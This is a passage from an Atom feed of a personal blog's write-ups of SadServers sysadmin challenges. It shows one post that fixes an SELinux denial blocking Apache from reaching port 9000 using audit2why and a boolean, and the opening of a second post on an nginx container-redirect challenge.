&lt;span class=&quot;token assign-left variable&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;AVC &lt;span class=&quot;token assign-left variable&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;audit&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1765314669.764&lt;/span&gt;:122&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;: avc:  denied  &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; name_connect &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt;  &lt;span class=&quot;token assign-left variable&quot;&gt;pid&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1001&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;comm&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;httpd&quot;&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;dest&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;9000&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;scontext&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;system_u:system_r:httpd_t:s0 &lt;span class=&quot;token assign-left variable&quot;&gt;tcontext&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;system_u:object_r:http_port_t:s0 &lt;span class=&quot;token assign-left variable&quot;&gt;tclass&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;tcp_socket &lt;span class=&quot;token assign-left variable&quot;&gt;permissive&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
&lt;span class=&quot;token assign-left variable&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;SYSCALL &lt;span class=&quot;token assign-left variable&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;audit&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1765314669.764&lt;/span&gt;:122&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;: &lt;span class=&quot;token assign-left variable&quot;&gt;arch&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;c000003e &lt;span class=&quot;token assign-left variable&quot;&gt;syscall&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;42&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;success&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;no &lt;span class=&quot;token assign-left variable&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;-13 &lt;span class=&quot;token assign-left variable&quot;&gt;a0&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;e &lt;span class=&quot;token assign-left variable&quot;&gt;a1&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;7f4ddc011e68 &lt;span class=&quot;token assign-left variable&quot;&gt;a2&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;a3&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;7f4dea7e394c &lt;span class=&quot;token assign-left variable&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;ppid&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;970&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;pid&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1001&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;auid&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;4294967295&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;euid&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;suid&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;fsuid&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;egid&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;sgid&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;fsgid&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;tty&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;none&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;ses&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;4294967295&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;comm&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;httpd&quot;&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;exe&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/usr/sbin/httpd&quot;&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;subj&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;system_u:system_r:httpd_t:s0 &lt;span class=&quot;token assign-left variable&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;null&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;ARCH&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;x86_64 &lt;span class=&quot;token assign-left variable&quot;&gt;SYSCALL&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;connect &lt;span class=&quot;token assign-left variable&quot;&gt;AUID&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;unset&quot;&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;&lt;span class=&quot;token environment constant&quot;&gt;UID&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;apache&quot;&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;GID&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;apache&quot;&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;&lt;span class=&quot;token environment constant&quot;&gt;EUID&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;apache&quot;&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;SUID&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;apache&quot;&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;FSUID&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;apache&quot;&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;EGID&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;apache&quot;&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;SGID&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;apache&quot;&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;FSGID&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;apache&quot;&lt;/span&gt;
&lt;span class=&quot;token assign-left variable&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;AVC &lt;span class=&quot;token assign-left variable&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;audit&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1765314670.245&lt;/span&gt;:123&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;: avc:  denied  &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; name_connect &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt;  &lt;span class=&quot;token assign-left variable&quot;&gt;pid&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1000&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;comm&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;httpd&quot;&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;dest&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;9000&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;scontext&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;system_u:system_r:httpd_t:s0 &lt;span class=&quot;token assign-left variable&quot;&gt;tcontext&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;system_u:object_r:http_port_t:s0 &lt;span class=&quot;token assign-left variable&quot;&gt;tclass&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;tcp_socket &lt;span class=&quot;token assign-left variable&quot;&gt;permissive&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
&lt;span class=&quot;token assign-left variable&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;SYSCALL &lt;span class=&quot;token assign-left variable&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;audit&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1765314670.245&lt;/span&gt;:123&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;: &lt;span class=&quot;token assign-left variable&quot;&gt;arch&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;c000003e &lt;span class=&quot;token assign-left variable&quot;&gt;syscall&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;42&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;success&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;no &lt;span class=&quot;token assign-left variable&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;-13 &lt;span class=&quot;token assign-left variable&quot;&gt;a0&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;e &lt;span class=&quot;token assign-left variable&quot;&gt;a1&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;7f4dd8011e68 &lt;span class=&quot;token assign-left variable&quot;&gt;a2&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;a3&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;7f4de1bfd94c &lt;span class=&quot;token assign-left variable&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;ppid&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;970&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;pid&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1000&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;auid&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;4294967295&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;euid&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;suid&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;fsuid&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;egid&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;sgid&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;fsgid&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;tty&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;none&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;ses&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;4294967295&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;comm&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;httpd&quot;&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;exe&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/usr/sbin/httpd&quot;&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;subj&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;system_u:system_r:httpd_t:s0 &lt;span class=&quot;token assign-left variable&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;null&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;ARCH&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;x86_64 &lt;span class=&quot;token assign-left variable&quot;&gt;SYSCALL&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;connect &lt;span class=&quot;token assign-left variable&quot;&gt;AUID&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;unset&quot;&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;&lt;span class=&quot;token environment constant&quot;&gt;UID&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;apache&quot;&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;GID&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;apache&quot;&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;&lt;span class=&quot;token environment constant&quot;&gt;EUID&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;apache&quot;&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;SUID&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;apache&quot;&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;FSUID&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;apache&quot;&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;EGID&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;apache&quot;&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;SGID&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;apache&quot;&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;FSGID&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;apache&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This was very hard to read and didn&#39;t give me much info. Basically, httpd was denied access to port 9000. But why?&lt;/p&gt;
&lt;p&gt;But then I learned about &lt;code&gt;audit2why&lt;/code&gt; and the magic happened:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;admin@i-0e0450878ee67b460 ~&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;$ &lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;httpd&quot;&lt;/span&gt; /var/log/audit/audit.log &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;avc&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;tail&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-1&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; audit2why
&lt;span class=&quot;token assign-left variable&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;AVC &lt;span class=&quot;token assign-left variable&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;audit&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1765319188.541&lt;/span&gt;:316&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;: avc:  denied  &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; name_connect &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt;  &lt;span class=&quot;token assign-left variable&quot;&gt;pid&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1041&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;comm&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;httpd&quot;&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;dest&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;9000&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;scontext&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;system_u:system_r:httpd_t:s0 &lt;span class=&quot;token assign-left variable&quot;&gt;tcontext&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;system_u:object_r:http_port_t:s0 &lt;span class=&quot;token assign-left variable&quot;&gt;tclass&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;tcp_socket &lt;span class=&quot;token assign-left variable&quot;&gt;permissive&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;

        Was caused by:
        One of the following booleans was &lt;span class=&quot;token builtin class-name&quot;&gt;set&lt;/span&gt; incorrectly.
        Description:
        Allow httpd to can network connect

        Allow access by executing:
        &lt;span class=&quot;token comment&quot;&gt;# setsebool -P httpd_can_network_connect 1&lt;/span&gt;
        Description:
        Allow httpd to graceful &lt;span class=&quot;token function&quot;&gt;shutdown&lt;/span&gt;

        Allow access by executing:
        &lt;span class=&quot;token comment&quot;&gt;# setsebool -P httpd_graceful_shutdown 1&lt;/span&gt;
        Description:
        Allow httpd to can network relay

        Allow access by executing:
        &lt;span class=&quot;token comment&quot;&gt;# setsebool -P httpd_can_network_relay 1&lt;/span&gt;
        Description:
        Allow nis to enabled

        Allow access by executing:
        &lt;span class=&quot;token comment&quot;&gt;# setsebool -P nis_enabled 1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now this is way more readable! Reading on the first boolean, httpd_can_network_connect, I felt like I had a high chance of success: &lt;a href=&quot;https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/7/html/selinux_users_and_administrators_guide/sect-managing_confined_services-the_apache_http_server-booleans&quot;&gt;13.3. Booleans | SELinux User&#39;s and Administrator&#39;s Guide | Red Hat Enterprise Linux | 7 | Red Hat Documentation&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;httpd_can_network_connect&lt;/code&gt;
When disabled, this Boolean prevents HTTP scripts and modules from initiating a connection to a network or remote port. Enable this Boolean to allow this access.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Since we have httpd getting blocked when doing a request, that seems to match our case.&lt;/p&gt;
&lt;p&gt;Let&#39;s try it:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;admin@i-0e0450878ee67b460 ~&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;$ &lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; setsebool &lt;span class=&quot;token parameter variable&quot;&gt;-P&lt;/span&gt; httpd_can_network_connect &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;admin@i-0e0450878ee67b460 ~&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;$ &lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; localhost &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;head&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-n1&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;.&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
SadServers - LAMP Stack
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And success! 🚩&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Auderghem - Advent of Sysadmin 2025</title>
    <link href="https://jrb.nz/posts/sadservers-advent-auderghem/" />
    <updated>2025-12-01T00:00:00Z</updated>
    <id>https://jrb.nz/posts/sadservers-advent-auderghem/</id>
    <content type="html">&lt;blockquote&gt;
&lt;p&gt;This is part of Sad Servers&#39; &lt;a href=&quot;https://sadservers.com/advent&quot;&gt;Advent of Sysadmin 2025&lt;/a&gt; series.&lt;/p&gt;
&lt;p&gt;I&#39;m doing each challenge every day and I&#39;m publishing a quick write up for each one every day.&lt;/p&gt;
&lt;p&gt;Spoiler alert! This gives the solution to the challenge.
If you want to do it on your own, stop reading.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;details&gt;
  &lt;summary&gt;Challenge details&lt;/summary&gt;
&lt;p&gt;&lt;strong&gt;Scenario:&lt;/strong&gt; &amp;quot;Auderghem&amp;quot;: Containers miscommunication&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Level:&lt;/strong&gt; Medium&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Type:&lt;/strong&gt; Fix&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href=&quot;https://sadservers.com/tag/nginx&quot;&gt;nginx&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Access:&lt;/strong&gt; Email&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt; There is an nginx Docker container that listens on port 80, the purpose of which is to redirect the traffic to two other containers &lt;em&gt;statichtml1&lt;/em&gt; and &lt;em&gt;statichtml2&lt;/em&gt; but this redirection is not working.
Fix the problem.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;IMPORTANT.&lt;/strong&gt; You can restart all containers, but don&#39;t &lt;strong&gt;stop&lt;/strong&gt; or &lt;strong&gt;remove&lt;/strong&gt; them.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Root (sudo) Access:&lt;/strong&gt; True&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Test:&lt;/strong&gt; The nginx container must redirect the traffic to the statichtml1 and statichtml2 containers:&lt;/p&gt;
&lt;p&gt;curl http://localhost returns the Welcome to nginx default page
curl http://localhost/1 returns HelloWorld;1
curl http://localhost/2 returns HelloWorld;2&lt;/p&gt;
&lt;p&gt;The &amp;quot;Check My Solution&amp;quot; button runs the script &lt;em&gt;/home/admin/agent/check.sh&lt;/em&gt;, which you can see and execute.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Time to Solve:&lt;/strong&gt; 15 minutes.&lt;/p&gt;
&lt;/details&gt;
&lt;hr&gt;
&lt;p&gt;First of all, we need to know what we&#39;re working with. Let&#39;s explore the errors and the docker containers running:&lt;/p&gt;
